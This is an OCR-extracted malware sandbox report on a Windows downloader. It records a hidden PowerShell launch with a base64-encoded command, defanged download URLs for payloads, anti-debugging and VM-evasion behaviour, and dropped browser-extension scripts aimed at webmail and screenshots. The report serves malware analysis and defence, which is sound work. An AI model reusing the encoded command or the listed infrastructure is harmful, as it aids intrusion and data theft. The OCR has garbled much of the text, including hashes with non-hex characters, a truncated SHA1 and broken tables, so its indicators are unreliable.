DYNAMIC ANALYSIS REPORT

#13171375

Classifications: Downloader
MALICIOUS Threat Names: Mal/HTMLGen-A

Verdict Reason: -

Sample Type Windows Exe (x86-32)

File Name out_4.bin.exe

ID #7065686

MD5 63e9249d7950ca2e03c40a64a76a3951

SHAL 29dd8609c 74cc54d60bab53c6e83a3ch641f8bda

SHA256 14405eee6b03c4de6fbabh68768a943120c092280e0763ee2672b7ffdf9358bc
File Size 147.50 KB

Report Created 2023-03-05 01:50 (UTC+1)

Target Environment win7_64_spl_en_mso02016 | exe
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DYNAMIC ANALYSIS REPORT

#131713

OVERVIEW

VMRay Threat Identifiers (14 rules, 19 matches)

Score Category Operation Count Classification
“ Execution Executes encoded PowerShell command 1 -
« (Process #1) out_4.bin.exe executes base64-encoded Powershell command.
“ Reputation Contacts known malicious URL 1 -
« Reputation analysis labels the URL "hxxp://tchk-1[.Jcom/drop2.bs64" which was contacted by (process #4) powershell.exe as Mal/HTMLGen-A.
“ Reputation Resolves known malicious domain 1 -
* Resolved domain "tchk-1.com" is a known malicious domain.
Anti Analysis Tries to evade debugger 1 -
« (Process #3) svchost.exe hides thread via APl "NtSetinformationThread".
Anti Analysis Tries to detect debugger 1 -
« (Process #3) svchost.exe tries to detect a debugger via API "NtQueryInformationProcess".
Anti Analysis Tries to detect kernel debugger 1 -
« (Process #3) svchost.exe tries to detect a kernel debugger via API “NtQuerySystemInformation".
Anti Analysis Tries to detect virtual machine 1 -
« (Process #3) svchost.exe is possibly trying to detect a VM via rdtsc.
Anti Analysis Makes direct system call to possibly evade hooking based sandboxes 5 -

« (Process #3) svchost.exe makes a direct system call to "NtSetinformationThread".

« (Process #3) svchost.exe makes a direct system call to "NtCreateSection".

« (Process #3) svchost.exe makes a direct system call to "NtOpenFile".

« (Process #3) svchost.exe makes a direct system call to "NtQueryInformationProcess".

« (Process #3) svchost.exe makes a direct system call to "NtMapViewOfSection”.

Hide Tracks Creates process with hidden window 1 -

« (Process #1) out_4.bin.exe starts (process #4) powershell.exe with a hidden window.

Network Connection Performs DNS request 1 -

« (Process #4) powershell.exe resolves host name "tchk-1.com" to IP "84.21.172.160".

Network Connection Connects to remote host 2 -

« (Process #4) powershell.exe opens an outgoing TCP connection to host "84.21.172.160:80".

« (Process #1) out_4.bin.exe sends UDP message to host "8.8.8.8:53".

Network Connection Downloads executable 1 Downloader

* (Process #1) out_4.bin.exe downloads Windows executable via http from hxxps://tap-taptap|[.Jcom/1488/106.exe.

Execution Drops PE file 1 -
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#13171375

Score Category Operation Count Classification

« (Process #3) svchost.exe drops file "C:\Users\KEECFM~1\AppData\Local\Temp\5ZJNWs5LVhHy2g2\svchost.exe".

Execution Executes dropped PE file 1 -

« Executes dropped file "C:\Users\KEECFM~1\AppData\Local\Temp\5ZINW s5LVhHy2g2\svchost.exe".
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Mitre ATT&CK Matrix
Initial Access

Execution

#T1086
PowerShell

Privilege

Persistence Escalation

Defense
Evasion

#T1143 Hidden
Window

#T1140
Deobfuscate/
Decode Files
or Information

#T71027
Obfuscated
Files or
Information

#T1497
Virtualization/
Sandbox
Evasion

Credential
Access

Discovery

#T1497
Virtualization/
Sandbox
Evasion

#T1124
System Time
Discovery

Lateral .
oG Collection
#T1105
Remote File
Copy
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#131713

Sample Information

ID #7065686

MD5 63e9249d7950ca2e03c40a64a76a3951

SHA1L 29dd8609c 74cc54d60bab53c6e83a3ch641f8bda

SHA256 14405eee6b03c4de6fhabh68768a943120c092280e0763ee2672b7ffdf9358hc

SSDeep 3072:NdU 3dwpnjuifrRaft3JHpi SbhwfVvcKIko0SYwy3yL+ppKN TfTfwEW6:7eSnK96vcCKS5y 3i+4cEw6
ImpHash 1bd86c8250ch14d4adcc7b168belel73

File Name out_4.bin.exe

File Size 147.50 KB

Sample Type Windows Exe (x86-32)

Has Macros v

Analysis Information

Creation Time 2023-03-05 01:50 (UTC+1)

Analysis Duration 00:04:00

Termination Reason Timeout

Number of Monitored Processes 3

Execution Successful False

Reputation Enabled v

WHOIS Enabled v

Built-in AV Enabled x

Built-in AV Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files
Number of AV Matches 0

YARA Enabled v

YARA Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files
Number of YARA Matches 0
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#13171375
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%! User Account Control =3
5| Do you want to allow the following program from an
unknown publisher to make changes to this computer?

Program name:  out_4.bin.exe
Publisher: Unknown
File origin: Hard drive on this computer

) Show details
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#131713

NETWORK

General

49.05 KB total sent
15927.38 KB total received
3 ports 80, 443, 53

6 contacted IP addresses
0 URLs extracted

3 files downloaded

0 malicious hosts detected

DNS

4 DNS requests for 4 domains
1 nameservers contacted

0 total requests returned errors

HTTPIS

5 URLs contacted, 4 servers

5 sessions, 48.68 KB sent, 15924.06 KB received

HTTP Requests

Method URL Dest. IP Dest. Port Status Code Response Size Verdict

hxxp://hit-mee[.Jcom/gate2.php?
a=xHcSQvtDWfg7Lo8I8eYy3pZtCzb3L7/4idM3IVPG9eOw

MiD78YsW7Sk4XUBD8rjhpyar GIDPASnNQvvKU/ R R R _
GET XrXs4maE/0gZ 1bsel Obytes CEEAN

S6Y06LQLQIQLMGC72ptQxm807asUUEM 7UYAj4RmaOb

EW4f360GXtALI9K1IEPYMKNzCKQ=

GET hxxp://hit-mee[.Jcom/hittest.php?a=aiJhJyP8V6InMrv&id=0 - - - 0 bytes
GET hxxp:/tchk-1[.Jcom/drop2.bs64 - - - 0 bytes

hxxp:/lpost-make[.Jcom/c4fel 7k.php? R R R _
GET cnv_id=false&payout=0,3 Obytes CLEAN

GET hxxps:/ltap-taptap[.Jcom/1488/106.exe - - - 0 bytes

DNS Requests

Type Hostname Response Code Resolved IPs CNames Verdict

i 1561 10 [ ciean |
A hit-mee[.Jcom NO_ERROR 172.67.128.98 - CLEAN
A tchk-1[.Jcom NO_ERROR 84.21.172.160 -
108510158 [ ciean |
A tap-taptap[.Jcom NO_ERROR 104.21.0.185 - CLEAN
172.67.208.254,
A post-make[.Jcom NO_ERROR 10421 53.46 - CLEAN
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BEHAVIOR

Process Graph

#3
Child Process svchost.exe

#1
out_4.bin.exe Child Process

Sample Start

#4

powershell.exe
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#13171375

Process #1: out_4.bin.exe

ID

File Name

Command Line

Initial Working Directory
Monitor Start Time

Unmonitor End Time

c:\users\keecfmwgj\desktop\out_4.bin.exe

"C:\Users\kEecfMwgj\Desktop\out_4.bin.exe"

C:\Users\kEecfMwgj\Desktop\

Start Time: 51294, Reason: Analysis Target

End Time: 76304, Reason: Terminated

Monitor duration 25.01s
Return Code 0

PID 3904
Parent PID 1888
Bitness 32 Bit
Dropped Files (1)

File Name File Size SHA256 YARA Match
\Cu: sers\KEECFM~1\AppData\Local\Temp\5ZINWs5LVhHy2g2\svcho  10240.00 KB fi‘égweggbm1ba7C977319000474323fe1055b40dd°d091686“4942%1
stexe
Host Behavior

Type Count
System 3
Module 24
File 11
Environment 1
- 2
Process 3

Network Behavior

Type Count
HTTP 3
HTTPS 1
TCP 1
UDP 1
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#131713

Process #3: svchost.exe

ID 3

File Name c:\users\keecfmwgj\appdatallocal\temp\5zjnws5lvhhy2g2\svchost.exe
Command Line "C:\Users\KEECFM~1\AppData\Local\Temp\5ZIJNW s5LVhHy2g2\svchost.exe"
Initial Working Directory C:\Users\kEecfMwgj\Desktop\

Monitor Start Time Start Time: 69711, Reason: Child Process

Unmonitor End Time End Time: 75153, Reason: Terminated

Monitor duration 5.44s

Return Code 3735929054

PID 3964

Parent PID 3904

Bitness 32 Bit

Host Behavior

Type Count
Module 7
Process 2
- 4
- 1
System 2
File 1
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#131713

Process #4: powershell.exe

ID

File Name

Command Line

Initial Working Directory
Monitor Start Time
Unmonitor End Time
Monitor duration

Return Code

PID

Parent PID

Bitness

4

c:\windows\syswow64\windowspowershell\v1.0\powershell.exe

powershell -windowstyle hidden -e

JAB3ADOADGBIAHCALQBVAGIAagBIAGMAJAAGAFMACQBZAHQAZ QBIACAAT gBIAHQALGBXAGUAYB/AGWAAQBIAGAAIAATACQA. ..
..A7AGKAZ QBAAC AW WBTAHKACWBOAGUADQAUAF QAZ QBAAH QALGBFAGAAYWBVAGQAAQBUAGCAXQABAD 0AVQBUAEYAOAAUAECAZ QBOAFMAIABY

AGkAbgBnACgAJABAACKAKQA=
C:\Users\kEecfMwgj\Desktop\

Start Time: 75159, Reason: Child Process
End Time: 169449, Reason: Terminated

94.29s

3976
3904

32 Bit

Dropped Files (24)
File Name

C:\Users\kEecfMwgj\AppData\Local\Default\src\mails\gmail js
C:\Users\kEecfMwgj\AppData\Local\Defaultimanifest.json
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\csp.js
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\injections.js
C:\Users\kEecfMwgj\AppData\Local\Default\src\content\main.js

C:\Users\kEecfMwgj\AppData\Local\Default\src\mails\yahoo.js

C:
\Users\kEecfMwgj\AppData\Local\Default\src\functions\notifications.js

C:\Users\kEecfMwgj\AppData\Local\Defaulttmodules\content-scripts-
register-polyfill.4.0.0.js

C:\Users\kEecfMwgj\AppData\Local\Default\src\background.js

C:\Users\kEecfMwgj\AppData\Local\Default\ico.png

C:
\Users\kEecfMwgj\AppData\Local\Default\src\functions\extensions.js

C:\Users\kEecfMwgj\AppData\Local\Default\rules.json

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\tabs.js

C:
\Users\kEecfMwgj\AppData\Local\Default\src\functions\commands.js

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\resolve.js
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\utils.js
C:\Users\kEecfMwgj\AppData\Local\Default\src\mails\hotmail js

C:\Users\kEecfMwgj\AppData\Local\Default\app.html

File Size

280.24 KB

1.18KB

208 bytes

513 bytes

93.84 KB

237.73KB

673 bytes

8.38 KB

2.09KB

3.82KB

479 bytes

618 bytes

761 bytes

3.99KB

3.89KB

81 bytes

237.56 KB

227 bytes

SHA256
0e3369h689948h9f009fe2f8eedf0cad77c53ebdcf19ab5da656c329e3a2e

d4e49c2dch191baal67e6b95a03581a7368803ed8c4261f6048e2ae5744
04468

65827a0e24ce36007307db3f415a97e6e9dc8bd9504b025a39ee9805f02
1d599

60e419bbc7e8979be6068a5133c4e0bbbed713add6d4295f04373e4e0d8
13507

4554d675364eef0b39ef147c2acadb7cac8hb2b98ef007ecd8e47c890180
e536

561f021f3b4f69705ed9e93cha53f8197ch2fd8c56¢ 1e7fae9a622b5bed 74
Oee

5af7c0ad5425c6c3a631dd800dch7e6035cebf03210433914544d330063
ebed9

38c9e992d359768abfbe8a2c39be53d7345dd0172672c54f67dbfd97526¢
29c5

78a799ab2ah295f74d471db41318713d8db7bfIc8f7acc 7eda3c625c0907
b886

7d1878c4a74f2b7c6deb2efb39aadc1cef86b8792efd2022644437cad6ca
8af3

380637e36765a4a2969687cf002c3al7abde1d1f460bbf85c536a36b8dd2
758c

09aalc09bd6316b4d8cc83baldbfad15c5a0802cab8cd414a52b766a3el
doffe

c0e554c1c620cc7200a1803b54al1ac15895a8d07be65a7772089b2b8e
441537

32549cabh71962f1ab8f92022a2084€03258d8a311a46e1h192f35fe5f4c8
bac

7795246fede147781358e81e32a0d5e9922dad51a6b00feeeb7e6777239
a3ldc

9d8efec309aced66¢552461702d83c7b7d5¢ 7dcdbbcaad43a839ch80834
d27ac

d094428bfa619d2e0c5139491b84edecOfech325f346e28f9e0bda7860dfc
9ab

d301a7d23e62ae2747777cde00260dc5ab633361daf80d338a24358ff213
350
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#131713

File Name File Size SHA256 YARA Match
C:
\Users\kEecfMwgj\AppDatalLocal\Default\src\functions\exchangeSetti 3.92KB égsfae28f0e029e491983f844acfc4c2042d8c Safa2792880965dfe0f2d779 x
ngs.js
C:
\Users\kEecfMwgj\AppDatalLocal\Default\src\functions\getMachinelnf 411 KB Sjgg? 16141882ed9700988d300d35026¢714d48a2047a9674420657 Sec x
ojs
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\proxy.js 11.82KB gggg18457bc22049b5350d99f4f3d7998f348c 84b6b88e9600546bbefaea x
C:\Users\kEecfMwgj\AppDatalLocal\Default\src\functions\settings.js 454 bytes ggg3352432681ac7ce9e74a9777f5c80415801e88544ab0d8b35f80f1066 x
C:\Users\kEecfMwgj\AppData\Local\Defaulticonfig.js 106 bytes 2332497e70d7bfaf605927e079b8b6d59740186801180d3fd91c08(:77599 *®
C: 205 bytes d84ch4a6fbad068ab1677a0a3dc1a606a46a1583e667612641703efecOd6 4
\Users\kEecfMwgj\AppData\Local\Default\src\functions\screenshot.js Y 3baf
Host Behavior
Type Count
System 63
Module 12
File 1377
Environment 143
Registry 125
- 56
- 1
CcOoMm 2
Network Behavior
Type Count
HTTP 1
DNS 1
TCP 1

X-Ray Vision for Malware - www.vmray.com 13/27
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ARTIFACTS

File
SHA256

14405eee6b03c4de6fbabh68
768a943120c092280e0763e
€2672b7ffdf9358bc

8alb6de98h121ba7c97731e
000474a23fe1055b40ddcd09
1686ff49429611c5e

0e3369b689948b9f009fe2f8e
edf0ca977c53ebdcf19ab5da
656¢329e3a2e394

d4e49c2dch191baal67e6h9
5a03581a7368803ed8c4261f
6048e2ae574404468

65827a0e24ce36007307db3f
415a97e6e9dc8bd9504b025
a39ee9805f021d599

60e419bbc7e8979hbe6068a5
133c4e0b6bcd713add6d429
5f04373e4e0d813507

4554d6f75364eef0b39%ef147¢
2acadb7cac8b2b98ef007ecd
8e47c890180e536

561f021f3b4f69705ed9e93ch
ab3f8197ch2fd8c56c1e7fae9d
a622h5be4740ee

5af7c0ad5425c6¢3a631dd80
0dch7e6035cebf0321043391
4544d330063ebe49

38c9e992d359768abfbe8a2c
39be53d7345dd0172672c54f
67dbfd97526c29c5

78a799ab2ab295f74d471db4
1318713d8db7bf9c8f7acc7e
da3c625c0907b886

7d1878c4a74f2b7c6deb2efb
39aa4clcef86b8792efd2022
644437cad6c48af3

380637e36765a4a2969687cf
002c3al7abdeld1f460bbf85
¢536a36b8dd2758c

09aalc09bd6316b4d8cc83b
aldbfa915c5a0802cab8cd4l
4a52b766a3e1d9ffe

c0e554c1c620cc7200a1803
b54allac15895a8d07be65a
7772089h2h8e441537

32549ca5h71962f1ab8f9202
2a2084e03258d8a311a46el
b192f35fe5f4c8bac

7795246fede147781358e81e
32a0d5e9922dad51a6b00fee
eb7e6777239a31dc

9d8efec309ace466c5524617
02d83c7b7d5c7dcdbbcaad4
3a839ch80834d27ac

d094428bfa619d2e0c513949
1b84edecOfech325f346e28f9
€0bda7860dfc9ab

File Names

C:
\Users\kEecfMwgj\Desktop\out_4.bin.
exe

C:
\Users\KEECFM~1\AppData\Local\Te
mp\5ZINWs5LVhHy2g2\svchost.exe,
C:
\Users\KEECFM~1\AppData\Local\Te
mplIAJV5KG3SOUZTZI.KdD3, c:
\users\keecfmwgj\appdata\local\micro
softwindows\temporary internet
files\content.ie5\x90hk109\106[1].exe

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\mails\gmail.js

C:
\Users\kEecfMwgj\AppData\Local\Def
aultimanifest.json

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\csp.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functionslinjections.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\contentimain.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\mails\yahoo.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\notifications.js

C:
\Users\kEecfMwgj\AppData\Local\Def
aultimodules\content-scripts-register-
polyfill.4.0.0.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\background.js

C:
\Users\kEecfMwgj\AppData\Local\Def
aultlico.png

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\extensions.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\rules.json

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\tabs.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\commands.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\resolve.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\utils.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\mails\hotmail.js

Category

Sample File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

Dropped File

File Size

147.50 KB

10240.00 KB

280.24 KB

1.18KB

208 bytes

513 bytes

93.84 KB

237.73KB

673 bytes

8.38 KB

2.09 KB

3.82KB

479 bytes

618 bytes

761 bytes

3.99KB

3.89KB

81 bytes

237.56 KB

MIME Type

application/
vnd.microsoft.portable-
executable

application/
vnd.microsoft.portable-
executable

text/plain

application/json

text/plain

text/plain

text/plain

text/plain

text/plain

text/plain

text/plain

image/png

text/plain

application/json

text/plain

text/plain

text/plain

text/plain

text/plain

X-Ray Vision for Malware - www.vmray.com

Operations

Access

Access, Create, Delete,
Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

Access, Create, Write

2
2
=
g

MALICIOUS

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN

CLEAN
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SHA256

5h3209b25aacc6bbdfd9445e
b7e77bd910e4209f95094bf3
86d28524bf72f1ec

d301a7d23e62ae2747777cd
€00260dc5ab633361daf80d3
38a24358ff2133f50

2c5fae28f0e029e491983f844
acfc4c2042d8c5afa279288b
965dfe0f2d77966

2d0e971ef41882ed970d988d
30bd35d26¢7f4d48aa047a96
744206573ec9450c

5cc418457hc22049b535cd9
9f4f3d79e8f348c84b6hb88e96
00546bbcfaea5878

15bf4209ecd3d78a4b3331de
fb091dc4738c2ec83f3897h2
b79bc32d14691187

cd5af7ad412ac22e95345129
207ede77e3352bedcce19b8
70051579f26add7b

d5ec352432681ac7cede74a
9777f5c80415801e88544ab0
d8b35f80f1066c6€9

006a9adb3c4e3195a22c668
131855474d8fa391fa49c 751
7cb076f6966f3f07

b5d5497e70d7bfaf6c5927€0
79b8b6d5974c1e68011e0d3f
d91c08c775e9add4

dB84cb4abfhad068ab1677a0a
3dc1a606a46a1583e6676f26
41703efec0d63baf

addOebf1bb604d3681c8f7e8
0164f2072430c32cc4c88703
94938e507fce5f02

Filename

File Name

File Names

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\app.html

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\exchangeSettings.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\getMachinelnfo.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\proxy.js

C:
\Users\kEecfMwgj\AppData\Local\Mic
rosoft\Windows\Power Shell\ModuleA
nalysisCache

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\settings.js

C:
\Users\kEecfMwgj\AppData\Local\Mic
rosoft\Windows\Power Shell\ModuleA
nalysisCache

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\config.js

C:
\Users\kEecfMwgj\AppData\Local\Def
ault\src\functions\screenshot.js

C:\Users\kEecfMwgj\Desktop\out_4.bin.exe

C:\Users\kEecfMwgj\AppData\Local\Defaultmodules

C:

Category File Size
Downloaded File 13834.50 KB
Dropped File 227 bytes
Dropped File 3.92KB
Dropped File 4.11 KB
Dropped File 11.82KB
Downloaded File 2.05KB
Modified File 1351 KB
Dropped File 454 bytes
Modified File 13.85 KB
Dropped File 106 bytes
Dropped File 205 bytes
Downloaded File 1598.70 KB

Category

Accessed File, Sample File

Accessed File

\W indows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po
wer Shell.ODataUtils\Microsoft.Power Shell.ODataUtils.psdl

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\settings.js
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\resolve.js

C:
\Windows\system32\WindowsPowerShell\v1.0\Modules\Troubleshoo
tingPack\PSGetModulelnfo.xml

C:\Program
Files\WindowsPower Shell\Modules\PackageM anagement\PackageM
anagement.psm1

C:\Program Files
(x86)\WindowsPower Shell\Modules\PackageM anagement\Package
Management.psdl

C:\Program Files
(x86)\WindowsPower Shell\Modules\Power ShellGet\Power ShelIGet.d
I

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSDiagnosti
cs\PSDiagnostics.psm1

Accessed File

Accessed File, Dropped File

Accessed File, Dropped File

Accessed File

Accessed File

Accessed File

Accessed File

Accessed File

MIME Type

application/

vnd.microsoft.portable-

executable

text/html

text/plain

text/plain

text/plain

text/plain

application/octet-stream

text/plain

application/octet-stream

text/plain

text/plain

text/plain

X-Ray Vision for Malware - www.vmray.com
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Operations

R CLEAN
Access, Create, Write CLEAN
Access, Create, Write CLEAN
Access, Create, Write CLEAN
CLEAN

Access, Create, Write

CLEAN

Access, Create, Read, Write CLEAN

Access, Create, Write CLEAN

Access, Create, Read, Write CLEAN

Access, Create, Write CLEAN

CLEAN

Access, Create, Write

- CLEAN

g
s
g

Access MALICIOUS

Access, Create CLEAN

Access, Read CLEAN

Access, Create, Write CLEAN

Access, Create, Write CLEAN

Access CLEAN
Access CLEAN
Access CLEAN
Access CLEAN

CLEAN

<
]
2
=3

Access, Read
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C:\Users\Public\Desktop Accessed File Access CLEAN
C:\Users\kEecfMwgj\AppDatalLocal\Default\src\content\main.js Accessed File, Dropped File Access, Create, Write CLEAN
C:\Users\kEecfMwgj\AppData\Local\Default\app.html Accessed File, Dropped File Access, Create, Write CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Modules.xa Accessed File Access CLEAN
ml
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftPo  Accessed File Access, Read CLEAN

wer Shell.Utility\Microsoft.PowerShell. Utility.psd1

\Users\kEecfMwgj\AppData\Local\Default\src\functions\extensions.js Accessed File, Dropped File Access, Create, Write CLEAN

C:\Program Files (x86)\WindowsPowerShell\Modules Accessed File Access CLEAN

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo
tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack\Micros
oft. Windows.Diagnosis.TroubleshootingPack.psdl

Accessed File Access CLEAN

C:\Program
Files\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.p Accessed File Access CLEAN
sml

C:\Program Files

(x86)\WindowsPower Shell\Modules\Microsoft. Windows.Diagnosis.T
roubleshootingPack\Microsoft.Windows.Diagnosis. TroubleshootingP
ack.xaml

Accessed File Access CLEAN

C: . .
\Users\KEECFM~1\AppDatalLocal\TempAJVEKG3SOUZTZIKdD3  Accessed File, Dropped File Access, Create, Delete CLEAN

C:
\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.Ba
ckgroundintelligentTransfer.Management\Microsoft.Backgroundintelli
gentTransfer.Management.cdxml

Accessed File Access CLEAN

C:\Program Files

(x86)\WindowsPower Shell\Modules\PackageManagement\Package Accessed File Access CLEAN
Management.xaml|
C:\Users\kEecfMwgj\AppDatalLocal Accessed File Access CLEAN

C:\Program Files

(x86)\WindowsPower Shell\Modules\PackageManagement\1.0.0.1\Pa Accessed File Access, Read CLEAN
ckageManagement.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\M odules\Microsoft.Po Accessed File Access CLEAN

wer Shell.Diagnostics

C:\Program
Files\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.n Accessed File Access CLEAN
i.dil

C:\Program

Files\WindowsPower Shell\Modules\Microsoft.BackgroundintelligentT
ransfer.Management\Microsoft.BackgroundintelligentTransfer.Manage
ment.psdl

Accessed File Access CLEAN

C:\Program Files (x86)\WindowsPower Shell\Modules\Modules.psdl Accessed File Access CLEAN

C:\Users\kEecfMwgj\Documents\WindowsPower Shell\Modules Accessed File Access CLEAN

C:
\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.Ba
ckgroundintelligentTransfer.Management\Microsoft.Backgroundintelli
gentTransfer.Management.ni.dll

Accessed File Access CLEAN

C:\Windows\System32\WindowsPower Shell\v1.0\ Accessed File Access CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN

\Microsoft.BackgroundintelligentTransfer.Management.xam|

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Modules.dll Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po Accessed File Access CLEAN
werShell.Host
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C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSDesiredS Accessed File Access CLEAN

tateConfiguration

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft. W Accessed File Access CLEAN
SMan.Management

C:\Program

Files\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.c Accessed File Access CLEAN
dxml

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po Accessed File Access CLEAN

werShell.ODataUtils

C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1  Accessed File Access CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\M odules\PSWorkflow Accessed File Access CLEAN

Utility\PSWorkflowUtility.psd1

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\AppLocker\A Accessed File Access CLEAN
ppLocker.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\ISE\ISE.psd1 Accessed File Access, Read CEEAN

C:\Users\kEecfMwgj\AppDatalLocal\DesktopCleanup Accessed File Access, Create CLEAN

C:\Program

Files\WindowsPower Shell\Modules\Microsoft.BackgroundintelligentT
ransfer.Management\Microsoft.BackgroundintelligentTransfer.Manage
ment.xaml

Accessed File Access CLEAN

C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxm|  Accessed File Access CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access, Read CLEAN
\BitsTransfer.psdl

C:\Program Files

(x86)\WindowsPower Shell\Modules\Power ShellGet\1.0.0.1\PSModul Accessed File Access, Read CLEAN
e.psml

C:\Program

Files\WindowsPower Shell\Modules\Microsoft.Power Shell. Command Accessed File Access CLEAN

s.Utility\Microsoft.Power Shell.Commands. Utility.dll

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.Ink Accessed File Access CLEAN

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\Launch Internet Explorer Browser.Ink Accessed File Access CLEAN

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft.Power Shell. Comman Accessed File Access CLEAN
ds.Management\Microsoft.Power Shell. Commands.Management.dl|

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN
tingPack\TroubleshootingPack.Format.ps1xml

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft. W Accessed File Access, Read CLEAN
SMan.Management\Microsoft. W SMan.Management.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po
wer Shell. Management\Microsoft.Power Shell. Commands.Manageme
nt.dl\Microsoft.Power Shell. Commands.Management.dl|

Accessed File Access CLEAN

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft. Windows.Diagnosis.T

roubleshootingPack\Microsoft.Windows.Diagnosis.TroubleshootingP Accessed File Access CEEAN
ack.cdxml

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN

tingPack\en\TroubleshootingPack.psdl

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po Accessed File Access CLEAN
wer Shell.Utility\PSGetModulelnfo.xml
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C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft.Power Shell.Comman Accessed File Access CLEAN
ds.Utility

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer
\Microsoft.BackgroundintelligentTransfer.Management\Microsoft.Bac
kgroundintelligentTransfer.Management.xam|

Accessed File Access CLEAN

C:

\Users\kEecfMwgj\AppData\Local\Default\src\functions\exchangeSetti Accessed File, Dropped File Access, Create, Write CLEAN
ngs.js

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftPo  Accessed File Access, Read CLEAN

wer Shell.Security\Microsoft.PowerShell.Security.psd1

C:\Users\kEecfMwgj\AppData\Local\Default Accessed File Access, Create CLEAN
C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\tabs.js Accessed File, Dropped File Access, Create, Write CLEAN
C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Modules.ps Accessed File Access CLEAN
ml

C: . . e . .
\Users\kEecfMwgj\AppData\Local\Default\src\functions\commands.js Accessed File, Dropped File, Modified File Access, Create, Write CEEAN
C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.ni.dll Accessed File Access CLEAN
C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftPo  Accessed File Access CLEAN
wer Shell.Utility

C:\Program

Files\WindowsPower Shell\Modules\PackageManagement\1.0.0.1\Pa Accessed File Access CLEAN

ckageManagement.psdl

C:\Program
Files\WindowsPower Shell\Modules\PackageM anagement\PackageM Accessed File Access CLEAN
anagement.ni.dll

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSSchedule Accessed File Access CLEAN
dJob

